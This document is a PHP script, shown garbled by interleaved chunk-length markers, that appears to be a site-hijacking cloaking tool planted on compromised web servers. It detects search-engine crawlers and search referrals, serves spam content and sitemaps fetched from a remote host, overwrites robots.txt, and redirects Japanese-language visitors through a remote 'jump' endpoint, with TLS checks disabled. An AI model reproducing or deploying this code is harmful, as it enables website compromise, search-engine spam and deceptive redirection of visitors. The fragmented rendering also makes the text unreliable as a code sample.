1
<
2
?p
2
hp
3

er
3
ror
3
_re
3
por
3
tin
2
g(
2
0)
2
;

3
@se
3
t_t
3
ime
3
_li
2
mi
3
t(1
1
2
6
0);
@i
3
gno
3
re_
3
use
3
r_a
1
b
4
ort(
4
1);

3
$tr
2
 =
3
 "h
3
ttp
2
s:
1
/
2
/j
2
26
2
04
2
17
2
_2
2
3.
2
ro
4
bert
2
o.
3
asi
2
a/
2
";
3

cl
3
ass
3
 Re
2
q

1
{
2

 
5
   pu
3
bli
2
c 
3
fun
3
cti
2
on
4
 ser
2
ve
3
r($
2
na
2
me
5
 = ''
2
, 
3
$de
2
fa
3
ult
5
 = ''
6
)
    
6
{
    
5
    i
2
f 
e
(empty($name))
b
 {
        
4
    
3
ret
3
urn
3
 $_
3
SER
2
VE
2
R;
5

    
5
    }
9

        
8
$name = 
2
st
4
rtou
2
pp
8
er($name
3
);

8
        
9
return is
3
set
1
(
9
$_SERVER[
5
$name
3
]) 
1
?
9
 $_SERVER
8
[$name] 
1
:
f
 $default;
    
6
}
    
10
public function 
3
iss
1
(
18
)
    {
        if ($thi
2
s-
1
>
9
server('H
2
TT
2
PS
3
') 
2
&&
2
 (
3
"1"
2
 =
2
= 
17
$this->server('HTTPS') 
2
||
3
 "o
6
n" == 
5
strto
2
lo
1
w
4
er($
16
this->server('HTTPS'))
18
)) {
            return 
3
tru
1
e
d
;
        } e
3
lse
4
if (
1
'
6
https'
14
 == $this->server('R
2
EQ
2
UE
3
ST_
2
SC
2
HE
3
ME'
32
)) {
            return true;
        } elseif ('4
2
43
14
' == $this->server('
6
SERVER
3
_PO
2
RT
32
')) {
            return true;
        } elseif ('
19
https' == $this->server('
5
HTTP_
3
X_F
2
OR
2
WA
3
RDE
2
D_
3
PRO
2
TO
28
')) {
            return true;
        }
11

        return f
4
alse
1e
;
    }
    public function ho
2
st
11
()
    {
        
1
$
4
host
6
 = str
2
va
1
l
14
($this->server('HTTP
d
_X_FORWARDED_
3
HOS
3
T')
2
 ?
3
: $
12
this->server('HTTP
7
_HOST')
12
);
        return 
7
strpos(
6
$host,
2
 '
5
:') ?
4
 str
3
str
c
($host, ':',
1
 
5
true)
4
 : $
4
host
1d
;
    }
    public function s
2
ch
3
eme
11
()
    {
        
e
return $this->
8
iss() ? 
6
"https
1
"
8
 : "http
3
";

a
    }
    
11
public function d
1
m
1f
()
    {
        return $this->
9
scheme() 
3
. "
3
://
4
" . 
7
$this->
6
host()
1c
;
    }
    public function 
2
ip
11
()
    {
        
4
if (
3
get
2
en
2
v(
6
'HTTP_
2
CL
5
IENT_
2
IP
14
')) {
            $i
1
p
3
 = 
18
getenv('HTTP_CLIENT_IP')
14
;
        } elseif (
d
getenv('HTTP_
c
X_FORWARDED_
3
FOR
25
')) {
            $ip = getenv('HTTP_
11
X_FORWARDED_FOR')
1c
;
        } elseif (getenv('
2
RE
3
MOT
2
E_
3
ADD
21
R')) {
            $ip = getenv('
d
REMOTE_ADDR')
10
;
        } else
f
 {
            
15
$ip = $this->server('
18
REMOTE_ADDR');
        }
10

        return 
3
$ip
1d
;
    }
    public function i
2
sc
11
()
    {
        
3
$ag
2
en
7
t = str
1d
tolower($this->server('HTTP_U
3
SER
2
_A
1
G
3
ENT
11
'));
        if (
7
$agent 
1
!
4
= ''
5
 && p
3
reg
2
_m
3
atc
2
h(
3
'/g
2
oo
3
gle
3
bot
1
|
7
google|
2
ya
3
hoo
2
|b
3
ing
2
|a
3
ol/
2
si
4
', $
5
agent
27
)) {
            return true;
        }
10

        return 
22
false;
    }
    public function i
2
sg
9
()
    {

2
		
3
$re
2
fe
4
r = 
20
strtolower($this->server('HTTP_R
2
EF
3
ERE
4
R'))
a
;
        
6
$refer
4
bots
4
 = '
16
google|yahoo|bing|aol'
f
;
        if ($
6
refer 
15
!= '' && preg_match("
2
/(
a
$referbots
1
)
4
/si"
3
, $
5
refer
59
)) {
            return true;
        }
        return false;
    }
    public function u
2
ri
11
()
    {
        
4
if (
2
($
3
pos
6
 = str
5
pos($
e
this->server('
a
REQUEST_UR
2
I'
1
)
4
, '.
3
php
4
')) 
1
!
8
== false
10
) {
            
3
$sc
3
rip
2
t_
7
name = 
3
bas
5
ename
10
($this->server('
2
SC
2
RI
5
PT_FI
9
LENAME'))
a
;
        
4
    
4
if (
1f
basename($this->server('SCRIPT_
7
NAME'))
3
 ==
3
= $
b
script_name
10
) {
            
4
    
3
$ur
1
l
3
 = 
f
$this->server('
7
SCRIPT_
6
NAME')
f
;
            }
9
 elseif (
18
basename($this->server('
2
PH
1
P
4
_SEL
1
F
4
')) 
3a
=== $script_name) {
                $url = $this->server('
a
PHP_SELF')
30
;
            } elseif (basename($this->server('
2
OR
2
IG
3
_SC
5
RIPT_
42
NAME')) === $script_name) {
                $url = $this->server('
12
ORIG_SCRIPT_NAME')
18
;
            } elseif (
1e
($pos = strpos($this->server('
a
PHP_SELF')
3
, '
2
/'
4
 . $
c
script_name)
1b
) !== false) {
            
d
    $url = su
1
b
5
str($
e
this->server('
d
SCRIPT_NAME')
3
, 0
3
, $
3
pos
1
)
3
 . 
12
'/' . $script_name
18
;
            } elseif (
10
$this->server('D
2
OC
2
UM
4
ENT_
3
ROO
4
T') 
3
&& 
8
strpos($
15
this->server('SCRIPT_
a
FILENAME')
3
, $
1d
this->server('DOCUMENT_ROOT')
7
) === 0
1e
) {
                $url = str
6
_repla
1
c
11
e($this->server('
f
DOCUMENT_ROOT')
3
, '
4
', $
1f
this->server('SCRIPT_FILENAME')
f
);
            
f
}
            $
2
re
1
q
3
uri
9
 = $url .
1
 
16
substr($this->server('
f
REQUEST_URI'), 
5
$pos 
3
+ 4
b
);
        
6
} else
10
 {
            $
9
requri = 
25
substr($this->server('REQUEST_URI'), 
16
strpos($this->server('
10
REQUEST_URI'), '
1
/
d
'));
        
a
}
        
8
return r
3
tri
1
m
4
($re
4
quri
5
, '/'
7
);
    
16
}
    public function 
3
exe
1
c
4
Req(
4
$url
4
, $p
4
 = a
3
rra
2
y(
1
)
10
)
    {
        
7
$url = 
c
str_replace(
2
' 
4
', '
1
+
4
', $
3
url
d
);
        $c
1
h
4
 = c
5
url_i
1
n
3
it(
b
);
        
5
curl_
4
seto
1
p
4
t($c
3
h, 
2
CU
2
RL
1
O
6
PT_URL
11
, $url);
        
19
curl_setopt($ch, CURLOPT_
2
RE
3
TUR
2
NT
2
RA
2
NS
3
FER
2
, 
4
1);

4
    
4
    
1a
curl_setopt($ch, CURLOPT_H
3
EAD
4
ER, 
4
0);

21
        curl_setopt($ch, CURLOPT_
2
TI
2
ME
3
OUT
2
, 
5
20);

22
        curl_setopt($ch, CURLOPT_P
3
OST
27
, 1);
        curl_setopt($ch, CURLOPT_
2
SS
2
L_
3
VER
2
IF
2
YP
1
E
29
ER, 0);
        curl_setopt($ch, CURLOPT_
a
SSL_VERIFY
4
HOST
27
, 0);
        curl_setopt($ch, CURLOPT_
5
POSTF
2
IE
2
LD
3
S, 
6
http_b
3
uil
2
d_
3
que
1
r
4
y($p
d
));
        $
2
ou
3
tpu
4
t = 
5
curl_
4
exec
4
($ch
c
);
        $
7
errorCo
1
d
4
e = 
8
curl_err
2
no
f
($ch);
        
6
curl_c
3
los
3
e($
d
ch);
        
5
if (0
5
 !== 
1
$
9
errorCode
10
) {
            
7
return 
b
false;
    
4
    
11
}
        return 
1
$
6
output
7
;
    }
1


2
}

4
$req
4
 = n
2
ew
4
 Req
4
();

3
$is
1
c
4
 = $
4
req-
4
>isc
7
();
$is
1
g
b
 = $req->is
3
g()
5
;
$um
1
a
4
p = 
4
$tr 
3
. "
3
map
3
";

3
$ur
4
i = 
6
urldec
3
ode
5
($req
2
->
5
uri()
4
);
$
a
p = array(
5

    
3
"do
2
ma
1
i
5
n" =>
7
 $req->
4
dm()
1
,
6

    "
4
port
b
" => $req->
8
server('
3
SER
3
VER
8
_PORT', 
2
80
8
),
    "
3
uri
6
" => $
4
uri

3
);

4
if (
8
substr($
5
uri, 
2
-1
3
0) 
3
== 
1
"
3
rob
3
ots
3
.tx
2
t"
8
) {
    
3
hea
5
der("
3
Con
5
tent-
5
type:
3
tex
2
t/
3
pla
3
in;
2
 c
3
har
3
set
2
=u
3
tf-
2
8"
7
);
    
2
di
8
e($req->
f
execReq($tr . "
6
robots
4
", $
6
p));
}
13

if (substr($uri, -
1
6
c
) == "robots
9
") {
    
7
$output
9
 = $req->
1b
execReq($tr . "robots", $p)
7
;
    $
2
rp
5
t = _
2
_D
3
IR_
1
_
5
 . "/
b
robots.txt"
7
;
    f
3
ile
1
_
5
put_c
6
ontent
6
s($rpt
3
, $
6
output
7
);
    
1
$
b
robots_cont
3
 = 
1
@
5
file_
3
get
e
_contents($rpt
7
);
    
5
if (s
6
trpos(
c
strtolower($
b
robots_cont
3
), 
5
"site
4
map"
d
)) {
        
4
die(
b
"robots.txt
5
 file
3
 cr
3
eat
1
e
5
 succ
2
es
2
s!
8
");
    
11
} else {
        
1c
die("robots.txt file create 
2
fa
c
il!");
    }
15

}
if (substr($uri, -
1
4
7
) == ".
3
xml
9
") {
    
b
if (strpos(
7
$uri, "
2
al
1
l
e
sitemap.xml") 
3
|| 
8
strpos($
6
uri, "
9
sitemap-i
2
nd
2
ex
25
.xml") || strpos($uri, "sitemap-index
2
-1
18
.xml") || strpos($uri, "
b
index.xml")
c
) {
        
19
$output = $req->execReq($
4
umap
5
, $p)
a
;
        
1a
header("Content-type:text/
4
" . 
9
(substr($
6
output
6
, 0, 5
6
) === 
2
'<
1
?
4
xml'
3
 ? 
6
'xml' 
2
: 
1
'
5
plain
3
') 
3
. '
f
; charset=utf-8
8
');
    
4
    
4
die(
3
'' 
3
. $
d
output);
    
6
}
    
19
$output = $req->execReq($
7
tr . "w
2
or
1
d
6
", $p)
6
;
    
1a
header("Content-type:text/
3
xml
17
; charset=utf-8");
    
5
if ($
8
output =
3
= "
1
1
9
") {
    
e
    die('' . $
5
req->
a
execReq($u
8
map, $p)
7
);
    
15
} else {
        die(
15
'' . $output);
    }

5
}
$la
1
n
a
g = $req->
c
server('HTTP
2
_A
3
CCE
5
PT_LA
1
N
2
GU
3
AGE
4
');

5
if (!
5
$isc 
6
&& $is
1
g
c
 && strpos($
4
lang
4
, 'j
2
a'
1
)
3
!==
e
false) {
    $
2
p[
3
"ip
2
"]
a
 = $req->i
3
p()
8
;
    $a
6
ction 
9
= $tr . "
3
jum
8
p";
    
13
die($req->execReq($
6
action
e
, $p));
}
if (
4
$isc
8
) {
    
a
die('' . $
e
req->execReq($
6
tr . "
3
ind
3
ata
c
", $p));
}
?
1
>
0